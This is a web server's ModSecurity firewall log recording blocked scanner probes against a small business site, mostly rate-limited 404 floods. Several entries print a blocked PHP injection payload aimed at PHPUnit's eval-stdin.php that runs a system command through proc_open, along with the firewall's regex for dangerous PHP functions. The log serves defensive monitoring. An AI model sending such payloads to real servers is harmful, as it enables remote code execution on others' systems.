[Sun Apr 19 22:50:49.854594 2026] [:error] [pid 47772:tid 47790] [client 146.70.194.222:52044] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aeTryYc0L16cb4smAz_aOAAAAAE"]
[Sun Apr 19 22:50:50.768029 2026] [:error] [pid 15763:tid 15804] [client 146.70.194.222:52106] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeTryrMXv1Y1THOoxaATOwAAAgg"]
[Sun Apr 19 22:50:50.890168 2026] [:error] [pid 15760:tid 15791] [client 146.70.194.222:52124] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aeTryvSdD_XHQMJ_IStf4AAAAdc"]
[Mon Apr 20 01:18:05.691666 2026] [:error] [pid 47775:tid 47854] [client 147.135.128.94:46120] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeUOTbmztjlk9tsmoew_zgAAAIs"]
[Mon Apr 20 01:18:08.252315 2026] [:error] [pid 15760:tid 15772] [client 147.135.128.94:39526] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeUOUPSdD_XHQMJ_ISukIQAAAcQ"]
[Mon Apr 20 01:18:11.137638 2026] [:error] [pid 47775:tid 47843] [client 147.135.128.94:39534] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeUOU7mztjlk9tsmoew_0AAAAIA"]
[Mon Apr 20 01:18:13.886093 2026] [:error] [pid 15763:tid 15798] [client 147.135.128.94:39536] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeUOVbMXv1Y1THOoxaA0EAAAAgI"]
[Mon Apr 20 01:18:16.381425 2026] [:error] [pid 47886:tid 47907] [client 147.135.128.94:39542] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeUOWESe8yiyuPrD7yOZWwAAANM"]
[Mon Apr 20 01:18:18.811236 2026] [:error] [pid 15760:tid 15778] [client 147.135.128.94:40244] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeUOWvSdD_XHQMJ_ISukLAAAAco"]
[Mon Apr 20 01:18:21.288112 2026] [:error] [pid 15763:tid 15808] [client 147.135.128.94:40256] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeUOXbMXv1Y1THOoxaA0EwAAAgw"]
[Mon Apr 20 01:18:23.750107 2026] [:error] [pid 15760:tid 15775] [client 147.135.128.94:40270] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeUOX_SdD_XHQMJ_ISukMAAAAcc"]
[Mon Apr 20 01:18:26.113879 2026] [:error] [pid 15760:tid 15784] [client 147.135.128.94:40272] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeUOYvSdD_XHQMJ_ISukNAAAAdA"]
[Mon Apr 20 01:18:28.693864 2026] [:error] [pid 15760:tid 15780] [client 147.135.128.94:46062] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeUOZPSdD_XHQMJ_ISukPgAAAcw"]
[Mon Apr 20 01:18:30.994488 2026] [:error] [pid 15760:tid 15777] [client 147.135.128.94:46078] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeUOZvSdD_XHQMJ_ISukRAAAAck"]
[Mon Apr 20 01:18:33.359521 2026] [:error] [pid 15760:tid 15783] [client 147.135.128.94:46092] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeUOafSdD_XHQMJ_ISukTQAAAc8"]
[Mon Apr 20 01:18:35.897674 2026] [:error] [pid 15760:tid 15771] [client 147.135.128.94:46106] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeUOa_SdD_XHQMJ_ISukUgAAAcM"]
[Mon Apr 20 01:18:38.210074 2026] [:error] [pid 47772:tid 47800] [client 147.135.128.94:33604] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeUOboc0L16cb4smAz8DIAAAAAs"]
[Mon Apr 20 01:18:40.523849 2026] [:error] [pid 47772:tid 47797] [client 147.135.128.94:33614] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeUOcIc0L16cb4smAz8DIwAAAAg"]
[Mon Apr 20 01:18:42.909343 2026] [:error] [pid 15765:tid 15870] [client 147.135.128.94:33622] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeUOcvRqinw-W5EwQ74aaAAAApE"]
[Mon Apr 20 01:18:45.322052 2026] [:error] [pid 47772:tid 47792] [client 147.135.128.94:33632] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeUOdYc0L16cb4smAz8DLQAAAAM"]
[Mon Apr 20 01:18:47.670383 2026] [:error] [pid 47772:tid 47801] [client 147.135.128.94:46978] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeUOd4c0L16cb4smAz8DNwAAAAw"]
[Mon Apr 20 01:18:50.011836 2026] [:error] [pid 15760:tid 15791] [client 147.135.128.94:46986] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeUOevSdD_XHQMJ_ISukXwAAAdc"]
[Mon Apr 20 01:18:52.380527 2026] [:error] [pid 15764:tid 15846] [client 147.135.128.94:46998] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeUOfGLL_sqdSHoVp-RtKQAAAlQ"]
[Mon Apr 20 01:18:54.813798 2026] [:error] [pid 47772:tid 47808] [client 147.135.128.94:47004] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeUOfoc0L16cb4smAz8DRAAAABM"]
[Mon Apr 20 01:18:57.220183 2026] [:error] [pid 15760:tid 15773] [client 147.135.128.94:47020] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeUOgfSdD_XHQMJ_ISukbQAAAcU"]
[Mon Apr 20 01:18:59.739923 2026] [:error] [pid 47773:tid 47829] [client 147.135.128.94:40256] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeUOg-iBHdnCJDuPq9Bx9wAAAE0"]
[Mon Apr 20 01:19:02.079933 2026] [:error] [pid 15765:tid 15870] [client 147.135.128.94:40262] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeUOhvRqinw-W5EwQ74acAAAApE"]
[Mon Apr 20 01:19:22.785195 2026] [:error] [pid 47772:tid 47809] [client 147.135.128.94:40266] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeUOmoc0L16cb4smAz8DWAAAABQ"]
[Mon Apr 20 01:19:25.227660 2026] [:error] [pid 15763:tid 15812] [client 147.135.128.94:33812] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeUOnbMXv1Y1THOoxaA0UwAAAhA"]
[Mon Apr 20 02:49:25.678407 2026] [:error] [pid 15764:tid 15842] [client 43.153.86.78:48770] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeUjtWLL_sqdSHoVp-SGCgAAAlA"]
[Mon Apr 20 03:05:47.485892 2026] [:error] [pid 47773:tid 47817] [client 165.245.188.147:57233] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeUni-iBHdnCJDuPq9B-hQAAAEE"]
[Mon Apr 20 03:05:47.668195 2026] [:error] [pid 15694:tid 15743] [client 165.245.188.147:57240] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeUni7imB-jol1fwqApAqAAAAZE"]
[Mon Apr 20 03:05:47.861251 2026] [:error] [pid 15694:tid 15736] [client 165.245.188.147:57247] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeUni7imB-jol1fwqApAqQAAAYo"]
[Mon Apr 20 03:05:48.305442 2026] [:error] [pid 15760:tid 15769] [client 165.245.188.147:57253] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeUnjPSdD_XHQMJ_ISu9SgAAAcE"]
[Mon Apr 20 03:05:48.731469 2026] [:error] [pid 15760:tid 15778] [client 165.245.188.147:57269] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeUnjPSdD_XHQMJ_ISu9TAAAAco"]
[Mon Apr 20 03:05:49.148968 2026] [:error] [pid 15694:tid 15745] [client 165.245.188.147:57283] [client 165.245.188.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aeUnjbimB-jol1fwqApArwAAAZM"]
[Mon Apr 20 05:00:20.758466 2026] [:error] [pid 47779:tid 47798] [client 51.68.32.135:36890] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeVCZIahGl1n9UkmcNjmCgAAAVE"]
[Mon Apr 20 05:00:23.194910 2026] [:error] [pid 47779:tid 47800] [client 51.68.32.135:32794] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeVCZ4ahGl1n9UkmcNjmDAAAAVM"]
[Mon Apr 20 05:00:25.651585 2026] [:error] [pid 48101:tid 48123] [client 51.68.32.135:33140] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeVCafIgenNbs2bVQGsHqgAAAZM"]
[Mon Apr 20 05:00:28.088781 2026] [:error] [pid 47779:tid 47788] [client 51.68.32.135:33142] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeVCbIahGl1n9UkmcNjmFQAAAUc"]
[Mon Apr 20 05:00:30.547290 2026] [:error] [pid 48101:tid 48104] [client 51.68.32.135:33146] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeVCbvIgenNbs2bVQGsHsQAAAYA"]
[Mon Apr 20 05:00:32.813839 2026] [:error] [pid 64333:tid 64392] [client 51.68.32.135:33150] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aeVCcHZav9wH8wxMd_s1VwAAAFA"]
[Mon Apr 20 05:00:35.261743 2026] [:error] [pid 64440:tid 64445] [client 51.68.32.135:33162] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeVCc9kVUvTgp8p7mrPY2AAAAMI"]
[Mon Apr 20 05:00:37.696504 2026] [:error] [pid 64334:tid 64427] [client 51.68.32.135:56328] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeVCdcNh9IxxDqsrPyOEKQAAAJg"]
[Mon Apr 20 05:00:40.154122 2026] [:error] [pid 64440:tid 64457] [client 51.68.32.135:56342] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeVCeNkVUvTgp8p7mrPY3wAAAM4"]
[Mon Apr 20 05:00:42.581330 2026] [:error] [pid 64334:tid 64417] [client 51.68.32.135:56352] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeVCesNh9IxxDqsrPyOEPAAAAI4"]
